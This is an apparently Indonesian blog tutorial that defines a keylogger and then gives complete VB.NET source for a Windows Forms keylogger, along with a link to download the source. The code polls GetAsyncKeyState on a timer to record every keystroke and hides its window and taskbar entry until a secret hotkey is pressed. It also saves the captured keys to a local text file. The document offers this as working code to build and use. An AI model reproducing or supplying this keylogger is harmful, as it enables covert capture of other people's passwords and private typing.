Apa itu keylogger?
keylogger adalah aplikasi merekam aktifitas pengguna komputer, Berasal dari kata kerja “log”. Orang/program yang melakukan aktifitas log ini namanya “logger”. Sedangkan “logging” berarti adalah istilah untuk kegiatan “merekam” aktifitas log-nya
Kali ini kita akan membuat key stroke (Merekam seluruh kata kata yang dipencet di keyboard) menggunakan Visual Studio
design lah tampilan FORM nya :
- 6 Button
- 1 richTextBox
- Timer
Coding :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 |
Imports System.IO Public Class Form1 Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Integer) As Short Public log As String Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click Timer1.Start() Button1.Text = "Started !" Button2.Text = "Stop Recording" End Sub Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click Timer1.Stop() Button1.Text = "Start Recording" Button2.Text = "Stopped !" End Sub Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick If (GetAsyncKeyState(65)) Then log = log + "A" ElseIf (GetAsyncKeyState(66)) Then log = log + "B" ElseIf (GetAsyncKeyState(67)) Then log = log + "C" ElseIf (GetAsyncKeyState(68)) Then log = log + "D" ElseIf (GetAsyncKeyState(69)) Then log = log + "E" ElseIf (GetAsyncKeyState(70)) Then log = log + "F" ElseIf (GetAsyncKeyState(71)) Then log = log + "G" ElseIf (GetAsyncKeyState(72)) Then log = log + "H" ElseIf (GetAsyncKeyState(73)) Then log = log + "I" ElseIf (GetAsyncKeyState(74)) Then log = log + "J" ElseIf (GetAsyncKeyState(75)) Then log = log + "K" ElseIf (GetAsyncKeyState(76)) Then log = log + "L" ElseIf (GetAsyncKeyState(77)) Then log = log + "M" ElseIf (GetAsyncKeyState(78)) Then log = log + "N" ElseIf (GetAsyncKeyState(79)) Then log = log + "O" ElseIf (GetAsyncKeyState(80)) Then log = log + "P" ElseIf (GetAsyncKeyState(81)) Then log = log + "Q" ElseIf (GetAsyncKeyState(82)) Then log = log + "R" ElseIf (GetAsyncKeyState(83)) Then log = log + "S" ElseIf (GetAsyncKeyState(84)) Then log = log + "T" ElseIf (GetAsyncKeyState(85)) Then log = log + "U" ElseIf (GetAsyncKeyState(86)) Then log = log + "V" ElseIf (GetAsyncKeyState(87)) Then log = log + "W" ElseIf (GetAsyncKeyState(88)) Then log = log + "X" ElseIf (GetAsyncKeyState(89)) Then log = log + "Y" ElseIf (GetAsyncKeyState(90)) Then log = log + "Z" ElseIf (GetAsyncKeyState(48)) Then log = log + "0" ElseIf (GetAsyncKeyState(49)) Then log = log + "1" ElseIf (GetAsyncKeyState(50)) Then log = log + "2" ElseIf (GetAsyncKeyState(51)) Then log = log + "3" ElseIf (GetAsyncKeyState(52)) Then log = log + "4" ElseIf (GetAsyncKeyState(53)) Then log = log + "5" ElseIf (GetAsyncKeyState(54)) Then log = log + "6" ElseIf (GetAsyncKeyState(55)) Then log = log + "7" ElseIf (GetAsyncKeyState(56)) Then log = log + "8" ElseIf (GetAsyncKeyState(57)) Then log = log + "9" ElseIf (GetAsyncKeyState(96)) Then log = log + "{Num0}" ElseIf (GetAsyncKeyState(97)) Then log = log + "{Num1}" ElseIf (GetAsyncKeyState(98)) Then log = log + "{Num2}" ElseIf (GetAsyncKeyState(99)) Then log = log + "{Num3}" ElseIf (GetAsyncKeyState(100)) Then log = log + "{Num4}" ElseIf (GetAsyncKeyState(101)) Then log = log + "{Num5}" ElseIf (GetAsyncKeyState(102)) Then log = log + "{Num6}" ElseIf (GetAsyncKeyState(103)) Then log = log + "{Num7}" ElseIf (GetAsyncKeyState(104)) Then log = log + "{Num8}" ElseIf (GetAsyncKeyState(105)) Then log = log + "{Num9}" ElseIf (GetAsyncKeyState(106)) Then log = log + "{Num*}" ElseIf (GetAsyncKeyState(107)) Then log = log + "{Num+}" ElseIf (GetAsyncKeyState(13)) Then log = log + "{Enter}" ElseIf (GetAsyncKeyState(109)) Then log = log + "{Num-}" ElseIf (GetAsyncKeyState(110)) Then log = log + "{Num.}" ElseIf (GetAsyncKeyState(111)) Then log = log + "{Num/}" ElseIf (GetAsyncKeyState(32)) Then log = log + " " ElseIf (GetAsyncKeyState(8)) Then log = log + "{Backspace}" ElseIf (GetAsyncKeyState(9)) Then log = log + "{Tab}" ElseIf (GetAsyncKeyState(16)) Then log = log + "{Shift}" ElseIf (GetAsyncKeyState(17)) Then log = log + "{Control}" ElseIf (GetAsyncKeyState(20)) Then log = log + "{Caps}" ElseIf (GetAsyncKeyState(27)) Then log = log + "{Esc}" ElseIf (GetAsyncKeyState(33)) Then log = log + "{PGup}" ElseIf (GetAsyncKeyState(34)) Then log = log + "{PGdn}" ElseIf (GetAsyncKeyState(35)) Then log = log + "{End}" ElseIf (GetAsyncKeyState(36)) Then log = log + "{Home}" ElseIf (GetAsyncKeyState(37)) Then log = log + "{LArrow}" ElseIf (GetAsyncKeyState(38)) Then log = log + "{UArrow}" ElseIf (GetAsyncKeyState(39)) Then log = log + "{RArrow}" ElseIf (GetAsyncKeyState(40)) Then log = log + "{DArrow}" ElseIf (GetAsyncKeyState(45)) Then log = log + "{Insert}" ElseIf (GetAsyncKeyState(46)) Then log = log + "{Del}" ElseIf (GetAsyncKeyState(144)) Then log = log + "{NumLock}" ElseIf (GetAsyncKeyState(188)) Then log = log + "{,}" End If RichTextBox1.Text = log Dim hotkey1 As Boolean hotkey1 = GetAsyncKeyState(Keys.K) If My.Computer.Keyboard.CtrlKeyDown AndAlso My.Computer.Keyboard.ShiftKeyDown AndAlso hotkey1 Then Me.Visible = True Me.ShowInTaskbar = True End If End Sub Private Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button3.Click MsgBox("Press Ctrl+Shift+K to make keylogger visible !", MsgBoxStyle.Information) Me.Visible = False Me.ShowInTaskbar = False End Sub Private Sub Button4_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button4.Click RichTextBox1.Clear() End Sub Private Sub Button5_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button5.Click MsgBox("Data Tersimpan") 'Write data to Temp TXT file Dim myWriter As StreamWriter Dim myStream As FileStream myStream = New FileStream(("C:\Users\Ikhsan\Documents\VB\KeyLogger\KeyLogger\LOG\test1.txt"), FileMode.Create) myWriter = New StreamWriter(myStream) Dim myItem As Object For Each myItem In RichTextBox1.Text myWriter.Write(myItem.ToString & Environment.NewLine) Next myWriter.Close() myStream.Close() End Sub Private Sub Button6_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button6.Click End End Sub End Class |
pada Bagian ini adalah lokasi untuk penyimpanan untuk Document keylogger :
1 |
myStream = New FileStream(("C:\Users\Ikhsan\Documents\VB\KeyLogger\KeyLogger\LOG\test1.txt"), FileMode.Create) |
Download Source Code : GDRIVE